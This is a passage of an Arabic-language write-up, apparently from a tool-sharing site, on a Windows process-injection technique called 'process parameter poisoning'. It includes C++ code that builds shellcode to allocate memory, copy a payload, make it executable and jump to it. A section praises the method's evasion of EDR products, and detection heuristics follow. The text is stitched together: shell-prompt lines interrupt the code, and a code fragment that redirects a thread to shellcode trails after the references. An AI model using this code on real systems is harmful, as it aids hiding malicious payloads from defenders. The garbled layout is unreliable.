4. القفز إلى الشيل كود غير ممكن بعد، لأن منطقة الذاكرة محمية بصلاحيات القراءة والكتابة. من الممكن تخصيص منطقة قابلة للقراءة والكتابة والتنفيذ، لكن هذا قد يُعتبر أكثر إثارة للشك. لذلك، يتم إجراء استدعاء للدالة `VirtualProtect` لتغيير الحماية إلى قابلة للقراءة والتنفيذ ولكن غير قابلة للكتابة.
5. وأخيرًا، يتم القفز إلى الشيل كود بعد التأكد من محاذاة المكدس بشكل صحيح.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    // 1. Pushes the shellcode to the stack
    PushBuffer(shellcode.data(), shellcode.size());
    int pos_sc = m_total_consumed_stack_bytes;
    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;
 
    // 2. Allocates READWRITE memory
    CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
 
    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
        SetRAX(shellcode.size());
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr
        const char* copy_sc =
            "\x8A\x01"   // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }
    // (...)

القائمة 14: تنفيذ ShellCodeWriter::LoadAndCallShellCode (الخطوات 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }

root@kitploit:~
if (m_total_consumed_stack_bytes % 16)
{
    AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
}

// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12

}

root@kitploit:~
*القائمة 15: تنفيذ ShellCodeWriter::LoadAndCallShellCode (الخطوات 4–5)*
 
---

## 6. مزايا تفادي الاكتشاف بهذه التقنية
 
من المزايا الرئيسية لهذه التقنية أنه لا يتم إنشاء أي عمليات في حالة معلّقة ولا يتم تعليق أي خيوط أو عمليات أثناء تنفيذها. إن إنشاء عمليات معلّقة أو استدعاءات متكررة لـ `SuspendThread` تُعد مؤشرات معروفة تستخدمها حلول EDR لكشف إفراغ العمليات (process hollowing)، وحقن العمليات (process injection)، والهجمات المماثلة.
 
علاوة على ذلك، من خلال إنشاء العملية الهدف، يكون مقبض (handle) الخيط الرئيسي متاحًا بالفعل ويتمتع بصلاحية الوصول المطلوبة لتغيير سياقه.
 
| الجانب | الحقن الكلاسيكي | تسميم معاملات العملية |
|---|---|---|
| تخصيص الذاكرة | `VirtualAllocEx` مطلوب | لا يوجد تخصيص صريح |
| كتابة الذاكرة | `WriteProcessMemory` مطلوب | غير مباشر عبر `CreateProcessW` |
| توجيه التنفيذ | `CreateRemoteThread` أو APC | `SetThreadContext` |
| احتمالية الاكتشاف | عالية (العديد من واجهات برمجة التطبيقات المشبوهة) | منخفضة (إنشاء عملية غير ضارة) |
| تليمترية EDR | مراقبة عن كثب | قابلية مراقبة أقل |
 
بشكل عام، تثير هذه التقنية شكوكًا أقل بكثير لأنها تترك بصمة أصغر باستخدام واجهات برمجة تطبيقات مشروعة لإنشاء العمليات وإدارة الخيوط.
 
---

## 7. نهج الاكتشاف
 
هناك عدة مؤشرات مشبوهة تولّدها هذه التقنية ويمكن استخدامها لاكتشافها.
 
- استدعاء `VirtualProtectEx` الذي يجعل منطقة ذاكرة قابلة للتنفيذ متبوعًا باستدعاء `SetThreadContext` مع `CONTEXT_CONTROL` على الأقل. تجدر الإشارة إلى أن مؤشر التعليمات لا يحتاج إلى الإشارة إلى هذه المنطقة القابلة للتنفيذ، إذ يمكنه بدلاً من ذلك الإشارة إلى أداة (gadget) تعيد توجيهه لاحقًا. ومع ذلك، فمن المرجح جدًا أن يُكتب مؤشر إلى منطقة الذاكرة في أحد سجلات وحدة المعالجة المركزية.
- استدعاء `VirtualProtectEx` الذي يجعل صفحات معاملات العملية قابلة للتنفيذ، سواء في العملية نفسها أو في عمليات خارجية.
- إنشاء عملية يكون فيه أحد المعاملات الثلاثة المستغلة مثيرًا للشك. على سبيل المثال، إذا كانت إنتروبيا سطر الأوامر قريبةً من إنتروبيا الشيلكود أو بعيدةً عن إنتروبيا قيمة سطر أوامر عادية. بالإضافة إلى ذلك، قد يكون طول المعامل المُقدَّم مفرطًا أو يحتوي على العديد من الأحرف غير المألوفة. ومع ذلك، فإن الاعتماد على هذا وحده قد يكون عرضةً للنتائج الإيجابية الكاذبة.
- قراءة بنية معاملات العملية لعملية بعيدة يشير إليها PEB.
 
---

## 8. الخاتمة
 
باختصار، يمكن للمهاجمين تجاوز الحلول الأمنية الحديثة من خلال أفكار جديدة وتعديلات صغيرة، سواء بتطوير تقنيات جديدة أو بإعادة تطبيق تقنيات قديمة بطرق مبتكرة. لذلك من المهم تطوير قواعد كشف جديدة باستمرار وعدم الاعتماد فقط على حل قائم.
 
---

## 9. المراجع
 
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
تنزيل الأداة

status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }

ctx.Rip = (DWORD64)shellcode;

status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }

return 0; }